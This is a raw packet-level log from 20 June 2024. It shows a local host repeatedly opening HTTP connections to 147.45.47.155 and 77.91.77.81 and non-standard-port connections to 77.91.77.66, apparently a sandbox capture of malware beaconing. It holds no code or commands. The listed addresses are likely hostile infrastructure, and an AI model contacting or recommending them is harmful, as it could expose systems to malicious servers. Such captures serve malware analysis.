Jun 20, 2024 15:38:23.414755106 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:23.415436029 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:23.420305967 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:23.520118952 CEST	80	49727	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:23.520206928 CEST	49727	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:23.622467995 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:23.622560978 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:23.633960962 CEST	49727	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:23.634217978 CEST	49729	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:23.639101028 CEST	80	49729	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:23.639158964 CEST	80	49727	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:23.639252901 CEST	49729	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:23.639307022 CEST	49727	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:23.639373064 CEST	49729	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:23.644329071 CEST	80	49729	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:23.734893084 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:23.736593008 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:23.740545988 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:23.740632057 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:23.741614103 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:23.741673946 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:23.741791964 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:23.747258902 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:24.326381922 CEST	80	49729	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:24.328756094 CEST	49729	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:24.331669092 CEST	49729	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:24.336648941 CEST	80	49729	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:24.409657955 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:24.409750938 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:24.410562038 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:24.415446043 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:24.550515890 CEST	80	49729	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:24.550702095 CEST	49729	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:24.617480993 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:24.617561102 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:24.699178934 CEST	49729	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:24.699453115 CEST	49731	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:24.704416037 CEST	80	49731	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:24.704685926 CEST	49731	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:24.704876900 CEST	80	49729	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:24.708054066 CEST	49729	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:24.717150927 CEST	49731	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:24.722183943 CEST	80	49731	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:24.972810030 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:24.973337889 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:24.977838039 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:24.977895975 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:24.978157997 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:24.978219032 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:25.106483936 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:25.111602068 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:25.319227934 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:25.319320917 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:25.319415092 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:25.321157932 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:25.321197987 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:25.401570082 CEST	80	49731	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:25.404696941 CEST	49731	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:25.486413956 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:25.491054058 CEST	49731	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:25.494822979 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:25.496715069 CEST	80	49731	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:25.674578905 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:25.674855947 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:25.675889015 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:25.681708097 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:25.712696075 CEST	80	49731	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:25.712960958 CEST	49731	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:25.830169916 CEST	49731	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:25.831135035 CEST	49737	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:25.835726023 CEST	80	49731	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:25.835809946 CEST	49731	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:25.836246014 CEST	80	49737	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:25.836395025 CEST	49737	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:25.837276936 CEST	49737	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:25.842133999 CEST	80	49737	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:25.888636112 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:25.888690948 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:25.996056080 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:25.996283054 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:25.996361971 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:25.996786118 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:25.996850014 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:25.997756004 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:25.997808933 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:25.998801947 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:25.998872042 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:25.998975992 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:25.998995066 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:26.002583981 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:26.003012896 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:26.007946968 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:26.008003950 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:26.008147955 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:26.008258104 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:26.008388042 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:26.013212919 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:26.126245975 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:26.303415060 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:26.303469896 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:26.303497076 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:26.303605080 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:26.303651094 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:26.306309938 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:26.306328058 CEST	443	49734	172.217.23.110	192.168.2.5
Jun 20, 2024 15:38:26.306345940 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:26.306375980 CEST	49734	443	192.168.2.5	172.217.23.110
Jun 20, 2024 15:38:26.731280088 CEST	80	49737	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:26.731405973 CEST	49737	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:26.731897116 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:26.732111931 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:26.732151985 CEST	49737	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:26.735025883 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:26.740892887 CEST	80	49737	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:26.740906954 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:26.949980021 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:26.954286098 CEST	80	49737	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:26.954705000 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:26.958744049 CEST	49737	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:27.103133917 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:27.103559971 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:27.103868008 CEST	49737	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:27.104391098 CEST	49743	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:27.108468056 CEST	80	49740	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:27.108526945 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:27.108880043 CEST	80	49737	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:27.108985901 CEST	49740	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:27.108992100 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:27.109004974 CEST	49737	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:27.109782934 CEST	80	49743	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:27.110650063 CEST	49743	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:27.111063004 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:27.111421108 CEST	49743	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:27.116127968 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:27.116261005 CEST	80	49743	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:27.782663107 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:27.782737017 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:27.798907042 CEST	80	49743	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:27.799092054 CEST	49743	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:27.964844942 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:27.965420008 CEST	49743	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:27.970462084 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:27.970496893 CEST	80	49743	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:28.173465014 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:28.173531055 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:28.180814981 CEST	80	49743	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:28.181143045 CEST	49743	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:28.283063889 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:28.283354044 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:28.285677910 CEST	49743	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:28.285875082 CEST	49747	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:28.312422991 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:28.312446117 CEST	80	49742	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:28.312463999 CEST	80	49743	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:28.312489033 CEST	80	49747	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:28.312524080 CEST	49742	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:28.312545061 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:28.312577009 CEST	49747	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:28.312592030 CEST	49743	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:28.313424110 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:28.313812017 CEST	49747	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:28.318217039 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:28.318599939 CEST	80	49747	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:28.579736948 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:28.586040020 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:28.586384058 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:28.607682943 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:28.612639904 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:28.612718105 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:28.622103930 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:28.633691072 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:28.650140047 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:28.655069113 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:28.997518063 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:28.997582912 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:28.998678923 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:29.010349989 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:29.031222105 CEST	80	49747	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:29.031393051 CEST	49747	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:29.033103943 CEST	49747	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:29.038955927 CEST	80	49747	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:29.205681086 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:29.212639093 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:29.212728024 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:29.246459961 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:29.257548094 CEST	80	49747	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:29.257803917 CEST	49747	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:29.319434881 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:29.319710016 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:29.324700117 CEST	80	49746	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:29.324764013 CEST	49746	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:29.324773073 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:29.324845076 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:29.324961901 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:29.329746962 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:29.364321947 CEST	49747	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:29.364608049 CEST	49752	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:29.370137930 CEST	80	49752	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:29.370204926 CEST	49752	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:29.370276928 CEST	80	49747	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:29.370352983 CEST	49752	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:29.370378017 CEST	49747	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:29.374511003 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:29.375571966 CEST	80	49752	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:29.418227911 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:29.418302059 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:29.587104082 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:29.587198019 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:29.587452888 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:29.587654114 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:29.587690115 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:30.020288944 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:30.022814989 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:30.048986912 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:30.054617882 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:30.061912060 CEST	80	49752	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:30.062004089 CEST	49752	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:30.063002110 CEST	49752	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:30.067871094 CEST	80	49752	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:30.264296055 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:30.265202045 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:30.266823053 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:30.285775900 CEST	80	49752	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:30.286752939 CEST	49752	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:30.330676079 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:30.337948084 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:30.337964058 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:30.341440916 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:30.341458082 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:30.341537952 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:30.345422029 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:30.345505953 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:30.386332989 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:30.386364937 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:30.433639050 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:30.460169077 CEST	49752	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:30.460246086 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:30.460654020 CEST	49757	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:30.460916996 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:30.465713978 CEST	80	49757	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:30.465815067 CEST	49757	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:30.466084003 CEST	49757	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:30.466315985 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:30.466376066 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:30.466525078 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:30.469142914 CEST	80	49752	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:30.469229937 CEST	49752	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:30.469271898 CEST	80	49751	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:30.469350100 CEST	49751	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:30.471446991 CEST	80	49757	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:30.471467972 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:30.636621952 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:30.636681080 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:30.636780024 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:30.639416933 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:30.639461040 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.132684946 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:31.132759094 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:31.133690119 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:31.138593912 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:31.154468060 CEST	80	49757	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:31.154540062 CEST	49757	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:31.155576944 CEST	49757	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:31.161015987 CEST	80	49757	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:31.181937933 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:31.188947916 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:31.189045906 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:31.215853930 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:31.475840092 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:31.475904942 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:31.479340076 CEST	80	49757	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:31.479429960 CEST	49757	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:31.480427027 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:31.482311010 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.482398033 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.487500906 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.487519026 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.487776995 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.521876097 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.568504095 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.579225063 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:31.579571962 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:31.584656954 CEST	80	49758	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:31.584790945 CEST	49758	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:31.584798098 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:31.584872007 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:31.584995031 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:31.589844942 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:31.594858885 CEST	49757	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:31.595127106 CEST	49767	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:31.600800037 CEST	80	49767	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:31.600977898 CEST	49767	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:31.601075888 CEST	49767	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:31.601085901 CEST	80	49757	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:31.601174116 CEST	49757	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:31.606364965 CEST	80	49767	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:31.751710892 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.751776934 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.752125978 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.752886057 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.752922058 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.752949953 CEST	49759	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.752965927 CEST	443	49759	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.795636892 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:31.799416065 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.799504995 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.799590111 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.800004959 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:31.800039053 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:31.844890118 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:32.261008024 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:32.261070967 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:32.261976957 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:32.266789913 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:32.328675985 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:32.333492041 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:32.376092911 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:32.380980015 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:32.449606895 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:32.449707985 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:32.451231003 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:32.451256990 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:32.451581955 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:32.458194971 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:32.473999023 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:32.474066019 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:32.504503965 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:32.690804958 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:32.691070080 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:32.696113110 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:32.696204901 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:32.696223021 CEST	49766	80	192.168.2.5	147.45.47.155
